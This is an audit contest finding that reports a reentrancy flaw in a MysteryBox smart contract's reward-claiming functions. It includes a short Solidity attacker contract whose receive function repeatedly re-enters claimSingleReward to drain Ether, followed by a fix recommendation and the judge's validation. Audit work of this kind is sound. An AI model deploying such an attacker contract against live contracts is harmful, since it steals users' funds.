Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in `claimAllRewards` and `claimSingleReward`

blacksquirrel

Summary

MysteryBox contract is vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract. A malicious contract could re-enter the function before the state is updated.

Vulnerability Details

The functions claimAllRewards and claimSingleReward doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern.

function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
//@audit-issue reentrancy
- (bool success, ) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
​
- delete rewardsOwned[msg.sender][_index];
}

Impact

If exploited, this vulnerability could allow a malicious contract to drain Ether from the MysteryBox contract, leading to loss of funds for the contract and its users.

POC

We create a malicious contract that buys a box and then uses its receive function to repeatedly claims reward before the MysteryBox contract has a chance to update its state.

contract attacker {
MysteryBox victim;
​
constructor(address mysteryBox) {
victim = MysteryBox(mysteryBox);
}
​
function attack() public payable{
victim.buyBox{value: 0.1 ether}();
victim.openBox();
victim.claimSingleReward(0);
}
​
receive() external payable {
if (address(victim).balance > 0) {
victim.claimSingleReward(0);
}
}
}

Recommendations

To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether.

Updates

Appeal created

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.